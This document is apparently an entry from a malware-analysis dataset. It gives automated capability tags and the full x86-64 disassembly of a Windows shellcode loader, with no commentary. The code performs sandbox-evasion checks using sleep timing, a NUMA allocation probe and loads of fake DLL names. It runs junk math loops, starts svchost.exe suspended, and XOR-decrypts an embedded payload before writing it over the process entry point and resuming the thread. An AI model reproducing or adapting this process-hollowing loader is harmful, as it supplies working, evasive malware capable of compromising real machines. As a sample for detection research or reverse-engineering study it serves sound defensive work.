Function at 0x140001530
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Link many functions at runtime
Resume thread
Use process replacement

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x1598
call fcn.140003810
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x1500], xmm6
mov dword [rbp + 0x1540], ecx
mov qword [rbp + 0x1548], rdx
call dbg.__main
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x14a8], rax
cmp qword [rbp + 0x14a8], 0
jne 0x140002797
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x14a0], rax
mov rax, qword [rbp + 0x14a0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x1498], rax
cmp qword [rbp + 0x1498], 0
jne 0x140002797
mov qword [rbp + 0x1490], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1488], rax
mov rax, qword [rbp + 0x1488]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3e6be80
mov ecx, 0
call rax
mov qword [rbp + 0x1490], rax
cmp qword [rbp + 0x1490], 0
je 0x140002797
mov rax, qword [rbp + 0x1490]
mov edx, 0x3e6be80
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x1490]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x1484], 0x2c6
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1478], rax
mov rax, qword [rbp + 0x1478]
call rax
mov dword [rbp + 0x1474], eax
mov eax, dword [rbp + 0x1484]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x1478]
call rax
mov dword [rbp + 0x1470], eax
mov eax, dword [rbp + 0x1470]
sub eax, dword [rbp + 0x1474]
cmp eax, 0x294
jbe 0x140002797
mov dword [rbp + 0x146c], 0x22d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1460], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1458], rax
mov rax, qword [rbp + 0x1458]
call rax
mov dword [rbp + 0x1454], eax
mov eax, dword [rbp + 0x146c]
mov r8, qword [rbp + 0x1460]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x1458]
call rax
mov dword [rbp + 0x1450], eax
mov eax, dword [rbp + 0x1450]
sub eax, dword [rbp + 0x1454]
cmp eax, 0x1fb
jbe 0x140002797
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x1448], rax
cmp qword [rbp + 0x1448], 0
jne 0x140002797
lea rax, str.trbwpxajjmtrmu.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1440], rax
cmp qword [rbp + 0x1440], 0
jne 0x140002797
mov qword [rbp + 0x1438], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1430], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1430]
mov r9d, 0x3000
mov r8d, 0x273
mov edx, 0
call rax
mov qword [rbp + 0x1438], rax
cmp qword [rbp + 0x1438], 0
je 0x140002797
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1428], rax
mov rax, qword [rbp + 0x1428]
mov ecx, 0
call rax
mov dword [rbp + 0x1424], eax
cmp dword [rbp + 0x1424], 0xffffffff
je 0x140002797
lea rax, str.ihqoqyjzsgnjdku.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1418], rax
cmp qword [rbp + 0x1418], 0
jne 0x140002797
lea rax, [rbp + 0x140]
lea rdx, [0x1400060b0]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x1410], rax
mov dword [rbp + 0x134c], 0
lea rax, [rbp + 0xd0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xd0], 0x68
lea rax, [rbp + 0x1350]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x1350]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.svchost.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x1410]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1408], rax
mov rax, qword [rbp + 0x1350]
lea rcx, [rbp + 0x30]
lea rdx, [rbp + 0x134c]
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x1408]
mov r9d, 0x30
mov r8, rcx
mov edx, 0
mov rcx, rax
call r10
mov rax, qword [rbp + 0x38]
add rax, 8
mov qword [rbp + 0x1400], rax
mov qword [rbp + 0x1340], 0
mov rax, qword [rbp + 0x38]
add rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x1350]
lea rdx, [rbp + 0x1340]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov qword [rbp + 0x340], 0
mov qword [rbp + 0x348], 0
lea rdx, [rbp + 0x350]
mov eax, 0
mov ecx, 0x1fe
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, qword [rbp + 0x1340]
mov rax, qword [rbp + 0x1350]
lea rcx, [rbp + 0x340]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
lea rax, [rbp + 0x340]
mov qword [rbp + 0x13f8], rax
mov rax, qword [rbp + 0x13f8]
mov eax, dword [rax + 0x3c]
cdqe
lea rdx, [rbp + 0x340]
add rax, rdx
mov qword [rbp + 0x13f0], rax
mov rdx, qword [rbp + 0x1340]
mov rax, qword [rbp + 0x13f0]
mov eax, dword [rax + 0x28]
mov eax, eax
add rax, rdx
mov qword [rbp + 0x13e8], rax
mov dword [rbp + 0x14f8], 0
mov dword [rbp + 0x14f4], 0
mov dword [rbp + 0x14f0], 0xffffffff
mov dword [rbp + 0x13e4], 1
mov ecx, 0x5f4
call sym.malloc
mov qword [rbp + 0x13d8], rax
mov qword [rbp + 0x14e8], 2
jmp 0x140001bdc
mov rax, qword [rbp + 0x14e8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x13d8]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x14e8], 1
cmp qword [rbp + 0x14e8], 0x17c
jbe 0x140001bb5
mov qword [rbp + 0x14e8], 2
jmp 0x140001c73
mov rax, qword [rbp + 0x14e8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x13d8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001c6b
mov rax, qword [rbp + 0x14e8]
mov qword [rbp + 0x14e0], rax
jmp 0x140001c54
mov rax, qword [rbp + 0x14e8]
imul rax, qword [rbp + 0x14e0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x13d8]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x14e0], 1
mov rax, qword [rbp + 0x14e8]
imul rax, qword [rbp + 0x14e0]
cmp rax, 0x17c
jbe 0x140001c25
add qword [rbp + 0x14e8], 1
cmp qword [rbp + 0x14e8], 0x17c
jbe 0x140001bf6
mov rax, qword [rbp + 0x13d8]
mov rcx, rax
call sym.free
mov ecx, 0x308
call sym.malloc
mov qword [rbp + 0x13d0], rax
mov dword [rbp + 0x14dc], 0
jmp 0x140001cfe
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400062b0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x14dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x13d0]
add rax, rdx
movsd xmm1, qword [0x1400062b8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x14dc], 1
cmp dword [rbp + 0x14dc], 0x60
jle 0x140001cb0
mov dword [rbp + 0x14dc], 0
jmp 0x140001d65
mov eax, dword [rbp + 0x14dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x13d0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x14dc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x13d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x14dc], 1
cmp dword [rbp + 0x14dc], 0x60
jle 0x140001d13
mov ecx, 0x820
call sym.malloc
mov qword [rbp + 0x13c8], rax
mov ecx, 0x820
call sym.malloc
mov qword [rbp + 0x13c0], rax
mov ecx, 0x820
call sym.malloc
mov qword [rbp + 0x13b8], rax
mov dword [rbp + 0x14d8], 0
jmp 0x140001e9a
mov dword [rbp + 0x14d4], 0
jmp 0x140001e86
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x14d8]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x13c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x14d4]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x14d8]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x13c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x14d4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x14d4], 1
cmp dword [rbp + 0x14d4], 0x13
jle 0x140001dbf
add dword [rbp + 0x14d8], 1
cmp dword [rbp + 0x14d8], 0x19
jle 0x140001db0
mov dword [rbp + 0x14d8], 0
jmp 0x140001f77
mov dword [rbp + 0x14d4], 0
jmp 0x140001f63
mov eax, dword [rbp + 0x14d8]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x13c8]
add rdx, rax
mov eax, dword [rbp + 0x14d4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x14d8]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x13c0]
add rdx, rax
mov eax, dword [rbp + 0x14d4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x14d8]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x13b8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x14d4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x14d4], 1
cmp dword [rbp + 0x14d4], 0x13
jle 0x140001ec5
add dword [rbp + 0x14d8], 1
cmp dword [rbp + 0x14d8], 0x19
jle 0x140001eb6
mov rax, qword [rbp + 0x13c8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x13c0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x13b8]
mov rcx, rax
call sym.free
mov ecx, 0x8278
call sym.malloc
mov qword [rbp + 0x13b0], rax
mov ecx, 0x8278
call sym.malloc
mov qword [rbp + 0x13a8], rax
mov dword [rbp + 0x14c8], 0
mov ecx, 0x5e4
call sym.malloc
mov qword [rbp + 0x13a0], rax
mov dword [rbp + 0x14d0], 0
jmp 0x14000206f
mov dword [rbp + 0x14cc], 0
jmp 0x14000205f
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x62d90063
shr rdx, 0x20
sar edx, 0xb
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x14b8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x14d0]
cdqe
imul rcx, rax, 0x74
mov rax, qword [rbp + 0x13a0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x14cc]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x14cc], 1
cmp dword [rbp + 0x14cc], 0x1c
jle 0x140002006
add dword [rbp + 0x14d0], 1
cmp dword [rbp + 0x14d0], 0xc
jle 0x140001ffa
mov dword [rbp + 0x14d0], 0
jmp 0x1400020e4
mov dword [rbp + 0x14cc], 0
jmp 0x1400020d4
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x14c8]
mov eax, dword [rbp + 0x14d0]
cdqe
imul rdx, rax, 0x74
mov rax, qword [rbp + 0x13a0]
add rdx, rax
mov eax, dword [rbp + 0x14cc]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x14c8], eax
add dword [rbp + 0x14cc], 1
cmp dword [rbp + 0x14cc], 0x1c
jle 0x140002090
add dword [rbp + 0x14d0], 1
cmp dword [rbp + 0x14d0], 0xc
jle 0x140002084
mov rax, qword [rbp + 0x13a0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x14c4], 0xffffffff
add dword [rbp + 0x14c4], 1
call sym.rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400062b0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x1398], rax
cmp dword [rbp + 0x14c4], 0x240
jle 0x140002106
mov ecx, 0x578
call sym.malloc
mov qword [rbp + 0x1390], rax
mov dword [rbp + 0x14bc], 0
mov dword [rbp + 0x14b8], 0
mov dword [rbp + 0x14c0], 0
jmp 0x1400021d2
call sym.rand
mov edx, dword [rbp + 0x14c0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1390]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x14c0], 1
cmp dword [rbp + 0x14c0], 0x15d
jle 0x140002186
mov dword [rbp + 0x14c0], 0
jmp 0x140002213
mov eax, dword [rbp + 0x14c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1390]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x14bc], eax
add dword [rbp + 0x14c0], 1
cmp dword [rbp + 0x14c0], 0x15d
jle 0x1400021ea
mov dword [rbp + 0x14c0], 0
jmp 0x14000229b
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x14b8]
mov eax, dword [rbp + 0x14c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1390]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x136c]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x1400062c0]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x14b8], eax
add dword [rbp + 0x14c0], 1
cmp dword [rbp + 0x14c0], 0x15d
jle 0x14000222b
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x14b8]
movss xmm1, dword [0x1400062c8]
divss xmm0, xmm1
movss dword [rbp + 0x138c], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x138c]
movq rax, xmm3
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x1388], xmm0
mov rax, qword [rbp + 0x1390]
mov rcx, rax
call sym.free
add dword [rbp + 0x14f0], 1
mov dword [rbp + 0x14b4], 0xffffffff
add dword [rbp + 0x14b4], 1
call sym.rand
imul eax, eax, 0x76
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400062b0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x1380], rax
cmp dword [rbp + 0x14b4], 0xeb
jle 0x14000230e
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x14f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x13b0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov ecx, 0x948
call sym.malloc
mov qword [rbp + 0x1378], rax
mov ecx, 0x948
call sym.malloc
mov qword [rbp + 0x1370], rax
mov dword [rbp + 0x14b0], 0
jmp 0x140002496
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x14b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1378]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x14b0], 1
cmp dword [rbp + 0x14b0], 0x128
jle 0x14000240c
mov dword [rbp + 0x14b0], 0
jmp 0x140002504
mov eax, dword [rbp + 0x14b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1378]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x14b0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1370]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x14b0], 1
cmp dword [rbp + 0x14b0], 0x128
jle 0x1400024b2
mov eax, dword [rbp + 0x14f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x13b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x14f0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x13a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x14f0], 0x104d
jle 0x140001fd3
movabs rax, 0x28e962986b972b2e
movabs rdx, 0xb6df85e3805e201d
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xb02d2f260362bd8d
movabs rdx, 0x194b1a6c71e376f2
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xd2b69c7584b8e610
movabs rdx, 0xd83c758993e2eba6
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x152230890f77b999
movabs rdx, 0x3ac69ee46a1539d4
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x144695b1423eb3a9
movabs rdx, 0xd709c4966f1e8461
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x95aa632169f92e47
movabs rdx, 0x30b5611107603463
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
mov byte [rbp + 0xc0], 0
movabs rax, 0xa2539eab260cec50
movabs rdx, 0x4d7b3c737295e5b8
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xa7e4f9b49360d83c
movabs rdx, 0x74b13762771a50ce
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xcdb9a8b574b13762
movabs rdx, 0x6a67f659d2a911
mov qword [rbp + 0x1c], rax
mov qword [rbp + 0x24], rdx
mov dword [rbp + 0x14fc], 0
jmp 0x1400026dd
mov eax, dword [rbp + 0x14fc]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x14f8]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x14fc]
cdqe
mov byte [rbp + rax - 0x30], dl
cmp dword [rbp + 0x14f8], 0x5f
jne 0x1400026cf
mov dword [rbp + 0x14f8], 0
jmp 0x1400026d6
add dword [rbp + 0x14f8], 1
add dword [rbp + 0x14fc], 1
mov eax, dword [rbp + 0x14fc]
cmp eax, 0x2a
jbe 0x140002692
mov dword [rbp + 0x14fc], 0
jmp 0x140002745
mov eax, dword [rbp + 0x14fc]
cdqe
movzx edx, byte [rbp + rax + 0x140]
mov eax, dword [rbp + 0x14f4]
cdqe
movzx eax, byte [rbp + rax - 0x30]
xor edx, eax
mov eax, dword [rbp + 0x14fc]
cdqe
mov byte [rbp + rax + 0x140], dl
cmp dword [rbp + 0x14f4], 0x2a
jne 0x140002737
mov dword [rbp + 0x14f4], 0
jmp 0x14000273e
add dword [rbp + 0x14f4], 1
add dword [rbp + 0x14fc], 1
cmp dword [rbp + 0x14fc], 0x1fd
jle 0x1400026f4
mov rax, qword [rbp + 0x1350]
lea rcx, [rbp + 0x140]
mov rdx, qword [rbp + 0x13e8]
mov qword [rsp + 0x20], 0
mov r9d, 0x1ff
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp + 0x1358]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x1500]
add rsp, 0x1598
pop rbx
pop rsi
pop rdi
pop rbp
ret